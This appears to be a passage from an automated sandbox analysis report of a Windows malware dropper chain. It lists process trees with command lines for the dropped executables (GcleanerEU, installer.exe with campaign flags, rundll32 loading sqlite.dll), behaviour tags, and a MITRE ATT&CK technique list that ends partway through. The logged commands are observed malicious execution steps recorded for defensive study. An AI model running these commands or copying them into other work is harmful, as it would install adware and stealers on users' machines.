"C:\Users\Admin\AppData\Local\Temp\is-TL2V7.tmp\ultramediaburner.tmp" /SL5="$802A6,281924,62464,C:\Users\Admin\AppData\Local\Temp\SPQHYZMFUE\ultramediaburner.exe" /VERYSILENT
5⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:3892

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5960

C:\Users\Admin\AppData\Local\Temp\16-f01c7-a91-3aba0-659a938056e8c\Hyhashuzhaeca.exe
"C:\Users\Admin\AppData\Local\Temp\16-f01c7-a91-3aba0-659a938056e8c\Hyhashuzhaeca.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:5156

C:\Users\Admin\AppData\Local\Temp\40-bd0c8-635-9fb8c-fedd67737f9ea\Lazhewuceshu.exe
"C:\Users\Admin\AppData\Local\Temp\40-bd0c8-635-9fb8c-fedd67737f9ea\Lazhewuceshu.exe"
4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:632

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\arvta23s.yq4\GcleanerEU.exe /eufive & exit
5⤵
PID:6284

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
- Executes dropped EXE
PID:4596

C:\Users\Admin\AppData\Local\Temp\arvta23s.yq4\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\arvta23s.yq4\GcleanerEU.exe /eufive
6⤵
PID:4504

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0s4u1jte.llm\installer.exe /qn CAMPAIGN="654" & exit
5⤵
PID:2952

C:\Users\Admin\AppData\Local\Temp\0s4u1jte.llm\installer.exe
C:\Users\Admin\AppData\Local\Temp\0s4u1jte.llm\installer.exe /qn CAMPAIGN="654"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:6536

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\0s4u1jte.llm\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\0s4u1jte.llm\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631210684 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
7⤵
PID:6396

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sofpszwo.e4k\anyname.exe & exit
5⤵
PID:3960

C:\Users\Admin\AppData\Local\Temp\sofpszwo.e4k\anyname.exe
C:\Users\Admin\AppData\Local\Temp\sofpszwo.e4k\anyname.exe
6⤵
- Executes dropped EXE
PID:1388

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ox1wc5bp.htx\gcleaner.exe /mixfive & exit
5⤵
PID:6476

C:\Users\Admin\AppData\Local\Temp\ox1wc5bp.htx\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\ox1wc5bp.htx\gcleaner.exe /mixfive
6⤵
- Executes dropped EXE
PID:4468

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qblkmnq2.5ah\autosubplayer.exe /S & exit
5⤵
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
PID:1988

C:\ProgramData\4028085.exe
"C:\ProgramData\4028085.exe"
1⤵
PID:1432

C:\ProgramData\4028085.exe
"C:\ProgramData\4028085.exe"
1⤵
- Executes dropped EXE
PID:512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 904
1⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4340

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1000

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:688

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:5636

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
- Executes dropped EXE
PID:4880

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5852

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:5380

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:7120

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:6200

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3388

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
PID:7116

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
PID:688

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding C41D8F96BBD5D91033304D1F27A535C7 C
2⤵
- Loads dropped DLL
PID:6724

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 4436BCE57A536411BB55CB0BD38E3636
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:5044

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
3⤵
- Kills process with taskkill
PID:7476

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 09E6301A3C0E5E97FEE1B00685AA16A6 E Global\MSI0000
2⤵
PID:6364

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7708

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:7720

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Executes dropped EXE
PID:4504

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6376

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:6476

C:\Windows\System32\slui.exe
C:\Windows\System32\slui.exe -Embedding
1⤵
PID:5440

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update
1⤵
PID:5272

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions
2⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
PID:5404

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe"
3⤵
- Loads dropped DLL
- Modifies registry class
PID:6760

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6456

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:1296

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4656

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:6536

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:6800

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7880

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7452

C:\Program Files\Microsoft Office\Root\Office16\SDXHelper.exe
"C:\Program Files\Microsoft Office\Root\Office16\SDXHelper.exe" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2256

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5792

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4596

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:6632

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1644

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"
1⤵
PID:5608

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:5092

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:5132

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:1572

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6864

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:1136

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Change Default File Association

T1042

Registry Run Keys / Startup Folder

T1060

Account Manipulation

T1098

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

T1497

File Permissions Modification

T1222

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery